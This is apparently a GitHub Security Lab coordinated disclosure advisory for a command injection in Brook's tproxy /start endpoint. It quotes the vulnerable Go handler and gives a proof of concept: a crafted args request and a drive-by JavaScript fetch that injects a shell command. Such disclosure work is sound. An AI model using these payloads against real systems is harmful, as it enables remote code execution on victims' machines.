Coordinated Disclosure Timeline

Summary

Brook’s tproxy server is vulnerable to a drive-by command injection.

Product

Brook

Tested Version

v20230122

Details

Issue: Command Injection (GHSL-2023-024)

The tproxy server is vulnerable to command injection. An attacker may send a request to the /start endpoint containing any commands to be executed as part of the args request parameter. The handler for the /start endpoint is:

m.HandleFunc("/start", func(w http.ResponseWriter, r *http.Request) {
  s, err := os.Executable()
  if err != nil {
    http.Error(w, err.Error(), 500)
    return
  }
  lock.Lock()
  defer lock.Unlock()
  cmd = exec.Command("/bin/sh", "-c", s+" tproxy "+r.FormValue("args"))

As we can see in the code snippet above, the args request parameter is passed directly to the shell command execution.

This issue was found by the Command built from user-controlled sources CodeQL query.

Impact

This issue may lead to Remote Code Execution (RCE).

Proof of concept

  1. Start the tproxy server: brook tproxy --webListen=":9999"
  2. Send a request to http://localhost:9999/start?args=touch%20/tmp/pwned

Note that even if the 9999 is only exposed on localhost, an attacker may still be able to attack this service using what is known as a drive-by attack. For that purpose, an attacker can prepare a malicious site containing the following JS script:

<script>
	fetch("http://localhost:9999/start?args=`touch%20/tmp/pwned`")
</script>

If the attacker fools the victim to visit this page while they have the tproxy service running, they will be able to access and compromise the service remotely.

CVE

Resources

Credit

This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2023-024 in any communication regarding this issue.